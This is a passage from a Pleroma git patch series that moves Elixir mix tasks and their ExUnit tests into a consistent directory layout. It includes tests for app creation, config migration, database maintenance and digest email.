+ expected_file_base(parsed_path.root, main_module) <> + Path.extname(parsed_path.allowed) + + if expected_file == parsed_path.allowed, + do: :ok, + else: {:error, main_module, expected_file} + end + + defp parsed_path(relative_path, params) do + parts = Path.split(relative_path) + + allowed = + Keyword.get(params, :ignore_folder_namespace, %{}) + |> Stream.flat_map(fn {root, folders} -> Enum.map(folders, &Path.join([root, &1])) end) + |> Stream.map(&Path.split/1) + |> Enum.find(&List.starts_with?(parts, &1)) + |> case do + nil -> + relative_path + + ignore_parts -> + Stream.drop(ignore_parts, -1) + |> Enum.concat(Stream.drop(parts, length(ignore_parts))) + |> Path.join() + end + + %{root: hd(parts), allowed: allowed} + end + + defp expected_file_base(root_folder, module) do + {parent_namespace, module_name} = module |> Module.split() |> Enum.split(-1) + + relative_path = + if parent_namespace == [], + do: "", + else: parent_namespace |> Module.concat() |> Macro.underscore() + + file_name = module_name |> Module.concat() |> Macro.underscore() + + Path.join([root_folder, relative_path, file_name]) + end + + defp error(issue_meta, module, expected_file) do + format_issue(issue_meta, + message: + "Mismatch between file name and main module #{inspect(module)}. " <> + "Expected file path to be #{expected_file}. " <> + "Either move the file or rename the module.", + line_no: 1 + ) + end +end -- cgit v1.2.3 From 6bf85440b373c9b2fa1e8e7184dcf87518600306 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Sat, 20 Jun 2020 19:09:04 +0300 Subject: mix tasks consistency --- lib/mix/tasks/pleroma/ecto.ex | 50 ++ lib/mix/tasks/pleroma/ecto/ecto.ex | 50 -- lib/mix/tasks/pleroma/robots_txt.ex | 33 ++ lib/mix/tasks/pleroma/robotstxt.ex | 33 -- test/mix/pleroma_test.exs | 50 ++ test/mix/tasks/pleroma/app_test.exs | 65 +++ test/mix/tasks/pleroma/config_test.exs | 189 +++++++ test/mix/tasks/pleroma/count_statuses_test.exs | 39 ++ test/mix/tasks/pleroma/database_test.exs | 175 ++++++ test/mix/tasks/pleroma/digest_test.exs | 60 ++ test/mix/tasks/pleroma/ecto/migrate_test.exs | 20 + test/mix/tasks/pleroma/ecto/rollback_test.exs | 20 + test/mix/tasks/pleroma/ecto_test.exs | 15 + test/mix/tasks/pleroma/email_test.exs | 127 +++++ test/mix/tasks/pleroma/emoji_test.exs | 243 ++++++++ test/mix/tasks/pleroma/frontend_test.exs | 85 +++ test/mix/tasks/pleroma/instance_test.exs | 99 ++++ .../tasks/pleroma/refresh_counter_cache_test.exs | 43 ++ test/mix/tasks/pleroma/relay_test.exs | 180 ++++++ test/mix/tasks/pleroma/robots_txt_test.exs | 45 ++ test/mix/tasks/pleroma/uploads_test.exs | 56 ++ test/mix/tasks/pleroma/user_test.exs | 614 +++++++++++++++++++++ test/tasks/app_test.exs | 65 --- test/tasks/config_test.exs | 189 ------- test/tasks/count_statuses_test.exs | 39 -- test/tasks/database_test.exs | 175 ------ test/tasks/digest_test.exs | 60 -- test/tasks/ecto/ecto_test.exs | 15 - test/tasks/ecto/migrate_test.exs | 20 - test/tasks/ecto/rollback_test.exs | 20 - test/tasks/email_test.exs | 127 ----- test/tasks/emoji_test.exs | 243 -------- test/tasks/frontend_test.exs | 85 --- test/tasks/instance_test.exs | 99 ---- test/tasks/pleroma_test.exs | 50 -- test/tasks/refresh_counter_cache_test.exs | 43 -- test/tasks/relay_test.exs | 180 ------ test/tasks/robots_txt_test.exs | 45 -- test/tasks/uploads_test.exs | 56 -- test/tasks/user_test.exs | 614 --------------------- 40 files changed, 2208 insertions(+), 2208 deletions(-) create mode 100644 lib/mix/tasks/pleroma/ecto.ex delete mode 100644 lib/mix/tasks/pleroma/ecto/ecto.ex create mode 100644 lib/mix/tasks/pleroma/robots_txt.ex delete mode 100644 lib/mix/tasks/pleroma/robotstxt.ex create mode 100644 test/mix/pleroma_test.exs create mode 100644 test/mix/tasks/pleroma/app_test.exs create mode 100644 test/mix/tasks/pleroma/config_test.exs create mode 100644 test/mix/tasks/pleroma/count_statuses_test.exs create mode 100644 test/mix/tasks/pleroma/database_test.exs create mode 100644 test/mix/tasks/pleroma/digest_test.exs create mode 100644 test/mix/tasks/pleroma/ecto/migrate_test.exs create mode 100644 test/mix/tasks/pleroma/ecto/rollback_test.exs create mode 100644 test/mix/tasks/pleroma/ecto_test.exs create mode 100644 test/mix/tasks/pleroma/email_test.exs create mode 100644 test/mix/tasks/pleroma/emoji_test.exs create mode 100644 test/mix/tasks/pleroma/frontend_test.exs create mode 100644 test/mix/tasks/pleroma/instance_test.exs create mode 100644 test/mix/tasks/pleroma/refresh_counter_cache_test.exs create mode 100644 test/mix/tasks/pleroma/relay_test.exs create mode 100644 test/mix/tasks/pleroma/robots_txt_test.exs create mode 100644 test/mix/tasks/pleroma/uploads_test.exs create mode 100644 test/mix/tasks/pleroma/user_test.exs delete mode 100644 test/tasks/app_test.exs delete mode 100644 test/tasks/config_test.exs delete mode 100644 test/tasks/count_statuses_test.exs delete mode 100644 test/tasks/database_test.exs delete mode 100644 test/tasks/digest_test.exs delete mode 100644 test/tasks/ecto/ecto_test.exs delete mode 100644 test/tasks/ecto/migrate_test.exs delete mode 100644 test/tasks/ecto/rollback_test.exs delete mode 100644 test/tasks/email_test.exs delete mode 100644 test/tasks/emoji_test.exs delete mode 100644 test/tasks/frontend_test.exs delete mode 100644 test/tasks/instance_test.exs delete mode 100644 test/tasks/pleroma_test.exs delete mode 100644 test/tasks/refresh_counter_cache_test.exs delete mode 100644 test/tasks/relay_test.exs delete mode 100644 test/tasks/robots_txt_test.exs delete mode 100644 test/tasks/uploads_test.exs delete mode 100644 test/tasks/user_test.exs diff --git a/lib/mix/tasks/pleroma/ecto.ex b/lib/mix/tasks/pleroma/ecto.ex new file mode 100644 index 000000000..3363cd45f --- /dev/null +++ b/lib/mix/tasks/pleroma/ecto.ex @@ -0,0 +1,50 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-onl + +defmodule Mix.Tasks.Pleroma.Ecto do + @doc """ + Ensures the given repository's migrations path exists on the file system. + """ + @spec ensure_migrations_path(Ecto.Repo.t(), Keyword.t()) :: String.t() + def ensure_migrations_path(repo, opts) do + path = opts[:migrations_path] || Path.join(source_repo_priv(repo), "migrations") + + path = + case Path.type(path) do + :relative -> + Path.join(Application.app_dir(:pleroma), path) + + :absolute -> + path + end + + if not File.dir?(path) do + raise_missing_migrations(Path.relative_to_cwd(path), repo) + end + + path + end + + @doc """ + Returns the private repository path relative to the source. + """ + def source_repo_priv(repo) do + config = repo.config() + priv = config[:priv] || "priv/#{repo |> Module.split() |> List.last() |> Macro.underscore()}" + Path.join(Application.app_dir(:pleroma), priv) + end + + defp raise_missing_migrations(path, repo) do + raise(""" + Could not find migrations directory #{inspect(path)} + for repo #{inspect(repo)}. + This may be because you are in a new project and the + migration directory has not been created yet. Creating an + empty directory at the path above will fix this error. + If you expected existing migrations to be found, please + make sure your repository has been properly configured + and the configured path exists. + """) + end +end diff --git a/lib/mix/tasks/pleroma/ecto/ecto.ex b/lib/mix/tasks/pleroma/ecto/ecto.ex deleted file mode 100644 index 3363cd45f..000000000 --- a/lib/mix/tasks/pleroma/ecto/ecto.ex +++ /dev/null @@ -1,50 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-onl - -defmodule Mix.Tasks.Pleroma.Ecto do - @doc """ - Ensures the given repository's migrations path exists on the file system. - """ - @spec ensure_migrations_path(Ecto.Repo.t(), Keyword.t()) :: String.t() - def ensure_migrations_path(repo, opts) do - path = opts[:migrations_path] || Path.join(source_repo_priv(repo), "migrations") - - path = - case Path.type(path) do - :relative -> - Path.join(Application.app_dir(:pleroma), path) - - :absolute -> - path - end - - if not File.dir?(path) do - raise_missing_migrations(Path.relative_to_cwd(path), repo) - end - - path - end - - @doc """ - Returns the private repository path relative to the source. - """ - def source_repo_priv(repo) do - config = repo.config() - priv = config[:priv] || "priv/#{repo |> Module.split() |> List.last() |> Macro.underscore()}" - Path.join(Application.app_dir(:pleroma), priv) - end - - defp raise_missing_migrations(path, repo) do - raise(""" - Could not find migrations directory #{inspect(path)} - for repo #{inspect(repo)}. - This may be because you are in a new project and the - migration directory has not been created yet. Creating an - empty directory at the path above will fix this error. - If you expected existing migrations to be found, please - make sure your repository has been properly configured - and the configured path exists. - """) - end -end diff --git a/lib/mix/tasks/pleroma/robots_txt.ex b/lib/mix/tasks/pleroma/robots_txt.ex new file mode 100644 index 000000000..24f08180e --- /dev/null +++ b/lib/mix/tasks/pleroma/robots_txt.ex @@ -0,0 +1,33 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.RobotsTxt do + use Mix.Task + + @shortdoc "Generate robots.txt" + @moduledoc """ + Generates robots.txt + + ## Overwrite robots.txt to disallow all + + mix pleroma.robots_txt disallow_all + + This will write a robots.txt that will hide all paths on your instance + from search engines and other robots that obey robots.txt + + """ + def run(["disallow_all"]) do + Mix.Pleroma.start_pleroma() + static_dir = Pleroma.Config.get([:instance, :static_dir], "instance/static/") + + if !File.exists?(static_dir) do + File.mkdir_p!(static_dir) + end + + robots_txt_path = Path.join(static_dir, "robots.txt") + robots_txt_content = "User-Agent: *\nDisallow: /\n" + + File.write!(robots_txt_path, robots_txt_content, [:write]) + end +end diff --git a/lib/mix/tasks/pleroma/robotstxt.ex b/lib/mix/tasks/pleroma/robotstxt.ex deleted file mode 100644 index 24f08180e..000000000 --- a/lib/mix/tasks/pleroma/robotstxt.ex +++ /dev/null @@ -1,33 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.RobotsTxt do - use Mix.Task - - @shortdoc "Generate robots.txt" - @moduledoc """ - Generates robots.txt - - ## Overwrite robots.txt to disallow all - - mix pleroma.robots_txt disallow_all - - This will write a robots.txt that will hide all paths on your instance - from search engines and other robots that obey robots.txt - - """ - def run(["disallow_all"]) do - Mix.Pleroma.start_pleroma() - static_dir = Pleroma.Config.get([:instance, :static_dir], "instance/static/") - - if !File.exists?(static_dir) do - File.mkdir_p!(static_dir) - end - - robots_txt_path = Path.join(static_dir, "robots.txt") - robots_txt_content = "User-Agent: *\nDisallow: /\n" - - File.write!(robots_txt_path, robots_txt_content, [:write]) - end -end diff --git a/test/mix/pleroma_test.exs b/test/mix/pleroma_test.exs new file mode 100644 index 000000000..c3e47b285 --- /dev/null +++ b/test/mix/pleroma_test.exs @@ -0,0 +1,50 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.PleromaTest do + use ExUnit.Case, async: true + import Mix.Pleroma + + setup_all do + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + end) + + :ok + end + + describe "shell_prompt/1" do + test "input" do + send(self(), {:mix_shell_input, :prompt, "Yes"}) + + answer = shell_prompt("Do you want this?") + assert_received {:mix_shell, :prompt, [message]} + assert message =~ "Do you want this?" + assert answer == "Yes" + end + + test "with defval" do + send(self(), {:mix_shell_input, :prompt, "\n"}) + + answer = shell_prompt("Do you want this?", "defval") + + assert_received {:mix_shell, :prompt, [message]} + assert message =~ "Do you want this? [defval]" + assert answer == "defval" + end + end + + describe "get_option/3" do + test "get from options" do + assert get_option([domain: "some-domain.com"], :domain, "Promt") == "some-domain.com" + end + + test "get from prompt" do + send(self(), {:mix_shell_input, :prompt, "another-domain.com"}) + assert get_option([], :domain, "Prompt") == "another-domain.com" + end + end +end diff --git a/test/mix/tasks/pleroma/app_test.exs b/test/mix/tasks/pleroma/app_test.exs new file mode 100644 index 000000000..71a84ac8e --- /dev/null +++ b/test/mix/tasks/pleroma/app_test.exs @@ -0,0 +1,65 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.AppTest do + use Pleroma.DataCase, async: true + + setup_all do + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + end) + end + + describe "creates new app" do + test "with default scopes" do + name = "Some name" + redirect = "https://example.com" + Mix.Tasks.Pleroma.App.run(["create", "-n", name, "-r", redirect]) + + assert_app(name, redirect, ["read", "write", "follow", "push"]) + end + + test "with custom scopes" do + name = "Another name" + redirect = "https://example.com" + + Mix.Tasks.Pleroma.App.run([ + "create", + "-n", + name, + "-r", + redirect, + "-s", + "read,write,follow,push,admin" + ]) + + assert_app(name, redirect, ["read", "write", "follow", "push", "admin"]) + end + end + + test "with errors" do + Mix.Tasks.Pleroma.App.run(["create"]) + {:mix_shell, :error, ["Creating failed:"]} + {:mix_shell, :error, ["name: can't be blank"]} + {:mix_shell, :error, ["redirect_uris: can't be blank"]} + end + + defp assert_app(name, redirect, scopes) do + app = Repo.get_by(Pleroma.Web.OAuth.App, client_name: name) + + assert_receive {:mix_shell, :info, [message]} + assert message == "#{name} successfully created:" + + assert_receive {:mix_shell, :info, [message]} + assert message == "App client_id: #{app.client_id}" + + assert_receive {:mix_shell, :info, [message]} + assert message == "App client_secret: #{app.client_secret}" + + assert app.scopes == scopes + assert app.redirect_uris == redirect + end +end diff --git a/test/mix/tasks/pleroma/config_test.exs b/test/mix/tasks/pleroma/config_test.exs new file mode 100644 index 000000000..f36648829 --- /dev/null +++ b/test/mix/tasks/pleroma/config_test.exs @@ -0,0 +1,189 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.ConfigTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.ConfigDB + alias Pleroma.Repo + + setup_all do + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + Application.delete_env(:pleroma, :first_setting) + Application.delete_env(:pleroma, :second_setting) + end) + + :ok + end + + setup_all do: clear_config(:configurable_from_database, true) + + test "error if file with custom settings doesn't exist" do + Mix.Tasks.Pleroma.Config.migrate_to_db("config/not_existance_config_file.exs") + + assert_receive {:mix_shell, :info, + [ + "To migrate settings, you must define custom settings in config/not_existance_config_file.exs." + ]}, + 15 + end + + describe "migrate_to_db/1" do + setup do + initial = Application.get_env(:quack, :level) + on_exit(fn -> Application.put_env(:quack, :level, initial) end) + end + + @tag capture_log: true + test "config migration refused when deprecated settings are found" do + clear_config([:media_proxy, :whitelist], ["domain_without_scheme.com"]) + assert Repo.all(ConfigDB) == [] + + Mix.Tasks.Pleroma.Config.migrate_to_db("test/fixtures/config/temp.secret.exs") + + assert_received {:mix_shell, :error, [message]} + + assert message =~ + "Migration is not allowed until all deprecation warnings have been resolved." + end + + test "filtered settings are migrated to db" do + assert Repo.all(ConfigDB) == [] + + Mix.Tasks.Pleroma.Config.migrate_to_db("test/fixtures/config/temp.secret.exs") + + config1 = ConfigDB.get_by_params(%{group: ":pleroma", key: ":first_setting"}) + config2 = ConfigDB.get_by_params(%{group: ":pleroma", key: ":second_setting"}) + config3 = ConfigDB.get_by_params(%{group: ":quack", key: ":level"}) + refute ConfigDB.get_by_params(%{group: ":pleroma", key: "Pleroma.Repo"}) + refute ConfigDB.get_by_params(%{group: ":postgrex", key: ":json_library"}) + refute ConfigDB.get_by_params(%{group: ":pleroma", key: ":database"}) + + assert config1.value == [key: "value", key2: [Repo]] + assert config2.value == [key: "value2", key2: ["Activity"]] + assert config3.value == :info + end + + test "config table is truncated before migration" do + insert(:config, key: :first_setting, value: [key: "value", key2: ["Activity"]]) + assert Repo.aggregate(ConfigDB, :count, :id) == 1 + + Mix.Tasks.Pleroma.Config.migrate_to_db("test/fixtures/config/temp.secret.exs") + + config = ConfigDB.get_by_params(%{group: ":pleroma", key: ":first_setting"}) + assert config.value == [key: "value", key2: [Repo]] + end + end + + describe "with deletion temp file" do + setup do + temp_file = "config/temp.exported_from_db.secret.exs" + + on_exit(fn -> + :ok = File.rm(temp_file) + end) + + {:ok, temp_file: temp_file} + end + + test "settings are migrated to file and deleted from db", %{temp_file: temp_file} do + insert(:config, key: :setting_first, value: [key: "value", key2: ["Activity"]]) + insert(:config, key: :setting_second, value: [key: "value2", key2: [Repo]]) + insert(:config, group: :quack, key: :level, value: :info) + + Mix.Tasks.Pleroma.Config.run(["migrate_from_db", "--env", "temp", "-d"]) + + assert Repo.all(ConfigDB) == [] + + file = File.read!(temp_file) + assert file =~ "config :pleroma, :setting_first," + assert file =~ "config :pleroma, :setting_second," + assert file =~ "config :quack, :level, :info" + end + + test "load a settings with large values and pass to file", %{temp_file: temp_file} do + insert(:config, + key: :instance, + value: [ + name: "Pleroma", + email: "example@example.com", + notify_email: "noreply@example.com", + description: "A Pleroma instance, an alternative fediverse server", + limit: 5_000, + chat_limit: 5_000, + remote_limit: 100_000, + upload_limit: 16_000_000, + avatar_upload_limit: 2_000_000, + background_upload_limit: 4_000_000, + banner_upload_limit: 4_000_000, + poll_limits: %{ + max_options: 20, + max_option_chars: 200, + min_expiration: 0, + max_expiration: 365 * 24 * 60 * 60 + }, + registrations_open: true, + federating: true, + federation_incoming_replies_max_depth: 100, + federation_reachability_timeout_days: 7, + federation_publisher_modules: [Pleroma.Web.ActivityPub.Publisher], + allow_relay: true, + public: true, + quarantined_instances: [], + managed_config: true, + static_dir: "instance/static/", + allowed_post_formats: ["text/plain", "text/html", "text/markdown", "text/bbcode"], + autofollowed_nicknames: [], + max_pinned_statuses: 1, + attachment_links: false, + max_report_comment_size: 1000, + safe_dm_mentions: false, + healthcheck: false, + remote_post_retention_days: 90, + skip_thread_containment: true, + limit_to_local_content: :unauthenticated, + user_bio_length: 5000, + user_name_length: 100, + max_account_fields: 10, + max_remote_account_fields: 20, + account_field_name_length: 512, + account_field_value_length: 2048, + external_user_synchronization: true, + extended_nickname_format: true, + multi_factor_authentication: [ + totp: [ + digits: 6, + period: 30 + ], + backup_codes: [ + number: 2, + length: 6 + ] + ] + ] + ) + + Mix.Tasks.Pleroma.Config.run(["migrate_from_db", "--env", "temp", "-d"]) + + assert Repo.all(ConfigDB) == [] + assert File.exists?(temp_file) + {:ok, file} = File.read(temp_file) + + header = + if Code.ensure_loaded?(Config.Reader) do + "import Config" + else + "use Mix.Config" + end + + assert file == + "#{header}\n\nconfig :pleroma, :instance,\n name: \"Pleroma\",\n email: \"example@example.com\",\n notify_email: \"noreply@example.com\",\n description: \"A Pleroma instance, an alternative fediverse server\",\n limit: 5000,\n chat_limit: 5000,\n remote_limit: 100_000,\n upload_limit: 16_000_000,\n avatar_upload_limit: 2_000_000,\n background_upload_limit: 4_000_000,\n banner_upload_limit: 4_000_000,\n poll_limits: %{\n max_expiration: 31_536_000,\n max_option_chars: 200,\n max_options: 20,\n min_expiration: 0\n },\n registrations_open: true,\n federating: true,\n federation_incoming_replies_max_depth: 100,\n federation_reachability_timeout_days: 7,\n federation_publisher_modules: [Pleroma.Web.ActivityPub.Publisher],\n allow_relay: true,\n public: true,\n quarantined_instances: [],\n managed_config: true,\n static_dir: \"instance/static/\",\n allowed_post_formats: [\"text/plain\", \"text/html\", \"text/markdown\", \"text/bbcode\"],\n autofollowed_nicknames: [],\n max_pinned_statuses: 1,\n attachment_links: false,\n max_report_comment_size: 1000,\n safe_dm_mentions: false,\n healthcheck: false,\n remote_post_retention_days: 90,\n skip_thread_containment: true,\n limit_to_local_content: :unauthenticated,\n user_bio_length: 5000,\n user_name_length: 100,\n max_account_fields: 10,\n max_remote_account_fields: 20,\n account_field_name_length: 512,\n account_field_value_length: 2048,\n external_user_synchronization: true,\n extended_nickname_format: true,\n multi_factor_authentication: [\n totp: [digits: 6, period: 30],\n backup_codes: [number: 2, length: 6]\n ]\n" + end + end +end diff --git a/test/mix/tasks/pleroma/count_statuses_test.exs b/test/mix/tasks/pleroma/count_statuses_test.exs new file mode 100644 index 000000000..c5cd16960 --- /dev/null +++ b/test/mix/tasks/pleroma/count_statuses_test.exs @@ -0,0 +1,39 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.CountStatusesTest do + use Pleroma.DataCase + + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import ExUnit.CaptureIO, only: [capture_io: 1] + import Pleroma.Factory + + test "counts statuses" do + user = insert(:user) + {:ok, _} = CommonAPI.post(user, %{status: "test"}) + {:ok, _} = CommonAPI.post(user, %{status: "test2"}) + + user2 = insert(:user) + {:ok, _} = CommonAPI.post(user2, %{status: "test3"}) + + user = refresh_record(user) + user2 = refresh_record(user2) + + assert %{note_count: 2} = user + assert %{note_count: 1} = user2 + + {:ok, user} = User.update_note_count(user, 0) + {:ok, user2} = User.update_note_count(user2, 0) + + assert %{note_count: 0} = user + assert %{note_count: 0} = user2 + + assert capture_io(fn -> Mix.Tasks.Pleroma.CountStatuses.run([]) end) == "Done\n" + + assert %{note_count: 2} = refresh_record(user) + assert %{note_count: 1} = refresh_record(user2) + end +end diff --git a/test/mix/tasks/pleroma/database_test.exs b/test/mix/tasks/pleroma/database_test.exs new file mode 100644 index 000000000..292a5ef5f --- /dev/null +++ b/test/mix/tasks/pleroma/database_test.exs @@ -0,0 +1,175 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.DatabaseTest do + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + setup_all do + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + end) + + :ok + end + + describe "running remove_embedded_objects" do + test "it replaces objects with references" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "test"}) + new_data = Map.put(activity.data, "object", activity.object.data) + + {:ok, activity} = + activity + |> Activity.change(%{data: new_data}) + |> Repo.update() + + assert is_map(activity.data["object"]) + + Mix.Tasks.Pleroma.Database.run(["remove_embedded_objects"]) + + activity = Activity.get_by_id_with_object(activity.id) + assert is_binary(activity.data["object"]) + end + end + + describe "prune_objects" do + test "it prunes old objects from the database" do + insert(:note) + deadline = Pleroma.Config.get([:instance, :remote_post_retention_days]) + 1 + + date = + Timex.now() + |> Timex.shift(days: -deadline) + |> Timex.to_naive_datetime() + |> NaiveDateTime.truncate(:second) + + %{id: id} = + :note + |> insert() + |> Ecto.Changeset.change(%{inserted_at: date}) + |> Repo.update!() + + assert length(Repo.all(Object)) == 2 + + Mix.Tasks.Pleroma.Database.run(["prune_objects"]) + + assert length(Repo.all(Object)) == 1 + refute Object.get_by_id(id) + end + end + + describe "running update_users_following_followers_counts" do + test "following and followers count are updated" do + [user, user2] = insert_pair(:user) + {:ok, %User{} = user} = User.follow(user, user2) + + following = User.following(user) + + assert length(following) == 2 + assert user.follower_count == 0 + + {:ok, user} = + user + |> Ecto.Changeset.change(%{follower_count: 3}) + |> Repo.update() + + assert user.follower_count == 3 + + assert :ok == Mix.Tasks.Pleroma.Database.run(["update_users_following_followers_counts"]) + + user = User.get_by_id(user.id) + + assert length(User.following(user)) == 2 + assert user.follower_count == 0 + end + end + + describe "running fix_likes_collections" do + test "it turns OrderedCollection likes into empty arrays" do + [user, user2] = insert_pair(:user) + + {:ok, %{id: id, object: object}} = CommonAPI.post(user, %{status: "test"}) + {:ok, %{object: object2}} = CommonAPI.post(user, %{status: "test test"}) + + CommonAPI.favorite(user2, id) + + likes = %{ + "first" => + "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes?page=1", + "id" => "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes", + "totalItems" => 3, + "type" => "OrderedCollection" + } + + new_data = Map.put(object2.data, "likes", likes) + + object2 + |> Ecto.Changeset.change(%{data: new_data}) + |> Repo.update() + + assert length(Object.get_by_id(object.id).data["likes"]) == 1 + assert is_map(Object.get_by_id(object2.id).data["likes"]) + + assert :ok == Mix.Tasks.Pleroma.Database.run(["fix_likes_collections"]) + + assert length(Object.get_by_id(object.id).data["likes"]) == 1 + assert Enum.empty?(Object.get_by_id(object2.id).data["likes"]) + end + end + + describe "ensure_expiration" do + test "it adds to expiration old statuses" do + activity1 = insert(:note_activity) + + {:ok, inserted_at, 0} = DateTime.from_iso8601("2015-01-23T23:50:07Z") + activity2 = insert(:note_activity, %{inserted_at: inserted_at}) + + %{id: activity_id3} = insert(:note_activity) + + expires_at = DateTime.add(DateTime.utc_now(), 60 * 61) + + Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ + activity_id: activity_id3, + expires_at: expires_at + }) + + Mix.Tasks.Pleroma.Database.run(["ensure_expiration"]) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity1.id}, + scheduled_at: + activity1.inserted_at + |> DateTime.from_naive!("Etc/UTC") + |> Timex.shift(days: 365) + ) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity2.id}, + scheduled_at: + activity2.inserted_at + |> DateTime.from_naive!("Etc/UTC") + |> Timex.shift(days: 365) + ) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity_id3}, + scheduled_at: expires_at + ) + end + end +end diff --git a/test/mix/tasks/pleroma/digest_test.exs b/test/mix/tasks/pleroma/digest_test.exs new file mode 100644 index 000000000..69dccb745 --- /dev/null +++ b/test/mix/tasks/pleroma/digest_test.exs @@ -0,0 +1,60 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.DigestTest do + use Pleroma.DataCase + + import Pleroma.Factory + import Swoosh.TestAssertions + + alias Pleroma.Tests.ObanHelpers + alias Pleroma.Web.CommonAPI + + setup_all do + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + end) + + :ok + end + + setup do: clear_config([Pleroma.Emails.Mailer, :enabled], true) + + describe "pleroma.digest test" do + test "Sends digest to the given user" do + user1 = insert(:user) + user2 = insert(:user) + + Enum.each(0..10, fn i -> + {:ok, _activity} = + CommonAPI.post(user1, %{ + status: "hey ##{i} @#{user2.nickname}!" + }) + end) + + yesterday = + NaiveDateTime.add( + NaiveDateTime.truncate(NaiveDateTime.utc_now(), :second), + -60 * 60 * 24, + :second + ) + + {:ok, yesterday_date} = Timex.format(yesterday, "%F", :strftime) + + :ok = Mix.Tasks.Pleroma.Digest.run(["test", user2.nickname, yesterday_date]) + + ObanHelpers.perform_all() + + assert_receive {:mix_shell, :info, [message]} + assert message =~ "Digest email have been sent" + + assert_email_sent( + to: {user2.name, user2.email}, + html_body: ~r/here is what you've missed!/i + ) + end + end +end diff --git a/test/mix/tasks/pleroma/ecto/migrate_test.exs b/test/mix/tasks/pleroma/ecto/migrate_test.exs new file mode 100644 index 000000000..43df176a1 --- /dev/null +++ b/test/mix/tasks/pleroma/ecto/migrate_test.exs @@ -0,0 +1,20 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-onl + +defmodule Mix.Tasks.Pleroma.Ecto.MigrateTest do + use Pleroma.DataCase, async: true + import ExUnit.CaptureLog + require Logger + + test "ecto.migrate info message" do + level = Logger.level() + Logger.configure(level: :warn) + + assert capture_log(fn -> + Mix.Tasks.Pleroma.Ecto.Migrate.run() + end) =~ "[info] Already up" + + Logger.configure(level: level) + end +end diff --git a/test/mix/tasks/pleroma/ecto/rollback_test.exs b/test/mix/tasks/pleroma/ecto/rollback_test.exs new file mode 100644 index 000000000..0236e35d5 --- /dev/null +++ b/test/mix/tasks/pleroma/ecto/rollback_test.exs @@ -0,0 +1,20 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.Ecto.RollbackTest do + use Pleroma.DataCase + import ExUnit.CaptureLog + require Logger + + test "ecto.rollback info message" do + level = Logger.level() + Logger.configure(level: :warn) + + assert capture_log(fn -> + Mix.Tasks.Pleroma.Ecto.Rollback.run() + end) =~ "[info] Rollback succesfully" + + Logger.configure(level: level) + end +end diff --git a/test/mix/tasks/pleroma/ecto_test.exs b/test/mix/tasks/pleroma/ecto_test.exs new file mode 100644 index 000000000..3a028df83 --- /dev/null +++ b/test/mix/tasks/pleroma/ecto_test.exs @@ -0,0 +1,15 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.EctoTest do + use ExUnit.Case, async: true + + test "raise on bad path" do + assert_raise RuntimeError, ~r/Could not find migrations directory/, fn -> + Mix.Tasks.Pleroma.Ecto.ensure_migrations_path(Pleroma.Repo, + migrations_path: "some-path" + ) + end + end +end diff --git a/test/mix/tasks/pleroma/email_test.exs b/test/mix/tasks/pleroma/email_test.exs new file mode 100644 index 000000000..9523aefd8 --- /dev/null +++ b/test/mix/tasks/pleroma/email_test.exs @@ -0,0 +1,127 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule 